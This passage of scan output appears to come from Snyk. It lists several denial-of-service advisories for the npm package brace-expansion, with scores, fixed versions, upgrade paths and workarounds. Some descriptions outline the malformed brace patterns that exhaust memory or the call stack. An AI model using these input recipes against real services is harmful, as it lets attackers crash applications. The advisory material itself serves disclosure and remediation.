"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmexec@8.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmexec@8.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmexec@8.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmexec@8.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmexec@8.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmexec@8.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
